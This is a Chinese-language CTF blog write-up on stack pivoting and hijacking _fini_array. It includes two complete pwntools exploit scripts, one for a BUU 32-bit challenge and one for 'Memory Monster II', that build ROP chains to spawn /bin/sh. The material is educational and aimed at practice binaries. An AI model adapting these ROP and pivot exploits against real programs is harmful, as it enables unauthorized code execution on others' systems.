昨天某师傅问到了栈迁移,由于舍友非要拉👴去通宵,今天睡到下午六点才醒,特此来总结下
栈迁移其实不太难,本博文主要来总结下栈迁移的妙用:劫持_fini_array
栈迁移
我们先来总结下栈迁移
什么是栈迁移呢?顾名思义就是把栈迁移到了另外一个地方。
那么我们什么时候需要栈迁移呢?
设想这样一个情景,我们可以溢出两个字长的空间,一个字长用来覆盖old bp寄存器的值,一个用来改写ret返回地址,但是程序没有后门,我们无法利用一个字长来ret2libc,这个时候如果我们能够在一个地址段(比如bss段之类的地方)能够写入大量字节,那么我们便可以ret2libc来拿到shell,所以我们只需要在某个地址段布置好ROP链,然后利用两次 leave ret 来控制程序的执行流程
一个32位的例题
buu的一道题目,[Black Watch 入群题]PWN
漏洞函数:
我们能够在bss段写入0x200个字节同时能够溢出8字节的数据
利用前文分析的手法,不难写出exp
from pwn import *
from LibcSearcher import *
binary = './spwn'
#libc = ELF('./libc.so.6')
local = 0
if local == 1:
p = process(binary)
else:
p = remote('node3.buuoj.cn',25304)
elf = ELF(binary)
def dbg():
context.log_level = 'debug'
#dbg()
write_plt = elf.plt['write']
main_addr = elf.sym['main']
read_got = elf.got['read']
pop_ebp = 0
payload = p32(pop_ebp) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(0x4) # mov esp,ebp; pop ebp; pop eip;
p.sendafter('What is your name?',payload)
payload = 0x18 * 'a' + p32(0x0804A300) + p32(0x08048511)
p.sendafter('What do you want to say?',payload)
read_addr = u32(p.recv(4))
print hex(read_addr)
libc = LibcSearcher('read',read_addr)
libc_base = read_addr - libc.dump('read')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = p32(pop_ebp) + p32(system_addr) + p32(system_addr) + p32(binsh_addr)
p.sendafter('What is your name?',payload)
payload = 0x18 * 'a' + p32(0x0804A300) + p32(0x08048511) #addr:level
p.sendafter('What do you want to say?',payload)
p.interactive()
劫持_fini_array
原理在这个地方:https://bbs.pediy.com/thread-259298.htm
我们直接看例题,原理很简单,我们通过例题来详细说明一下如何利用栈迁移来劫持_fini_array
Memory Monster II
静态编译的题目,有canary
我们通过alt+t来定位到start函数
start函数的r8寄存器存了__libc_csu_fini函数,rdi寄存器存了main函数地址,我们跟进去
有任意地址写0x18字节的漏洞
我们可以劫持_fini_array[0]为__libc_csu_fini函数,_fini_array[1]为main函数,只要我们不改写_fini_array[0],我们就能拥有任意地址无限字节写入的能力
思路如下:
1,改写_fini_array,获得无限字节写入的能力
2,在_fini_array + 0x10的位置布置rop链
3,改写_fini_array[0]为leave ret,_fini_array[1]为ret,从而进行栈迁移
至于2,3步为什么呢?下面我们绘图来仔细说明一下
首先第三步,我们为什么能够进行栈迁移呢,因为在__libc_csu_fini里面有一个lea指令可以改变rbp的值为_fini_array[0]的值
详细流程如下:
只要第三步理解了,第二步和第一步都特别简单,通过调用syscall就能拿shell
直接看exp吧;
from pwn import *
p = process('./main')
def dbg():
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
__libc_csu_fini = 0x402CB0
_fini_array_0 = 0x4B80B0
_fini_array_1 = 0x4B80B8
target = _fini_array_0 + 0x10
main = 0x401C1D
print "================ gadget ================="
pop_rax_ret = 0x0000000000448fcc # pop rax ; ret
pop_rdi_ret = 0x0000000000401746 # pop rdi ; ret
pop_rsi_ret = 0x0000000000406f80 # pop rsi ; ret
pop_rdx_ret = 0x0000000000448415 # pop rdx ; ret
syscall = 0x0000000000402514 # syscall
binsh_addr = 0x0000000000492895 # /bin/sh
leave_ret = 0x0000000000401cf3 # leave ; ret
ret = 0x0000000000401016 # ret
pop_rdx_rsi_ret = 0x000000000044baf9 # pop rdx ; pop rsi ; ret
print "================ gadget ================="
def change_memory(addr,data):
p.recvuntil('addr:')
p.sendline(addr)
p.recvuntil('data:')
p.send(data)
print "============= step 1: Get the ability to write infinite address ========"
addr = p64(_fini_array_0)
payload1 = p64(__libc_csu_fini) + p64(main)
change_memory(addr,payload1)
print "=========== step 2: Design ROP chain =========="
addr = p64(target)
payload2 = p64(pop_rax_ret) + p64(59)
change_memory(addr,payload2)
addr = p64(target + 0x10)
payload3 = p64(pop_rdi_ret) + p64(binsh_addr)
change_memory(addr,payload3)
addr = p64(target + 0x20)
payload4 = p64(pop_rsi_ret) + p64(0)
change_memory(addr,payload4)
addr = p64(target + 0x30)
payload5 = p64(pop_rdx_ret) + p64(0)
change_memory(addr,payload5)
addr = p64(target + 0x40)
payload6 = p64(syscall)
change_memory(addr,payload6)
print "======== step 3: Stack migration to the rop chain ======="
addr = p64(_fini_array_0)
payload7 = p64(leave_ret) + p64(ret)
change_memory(addr,payload7)
p.interactive()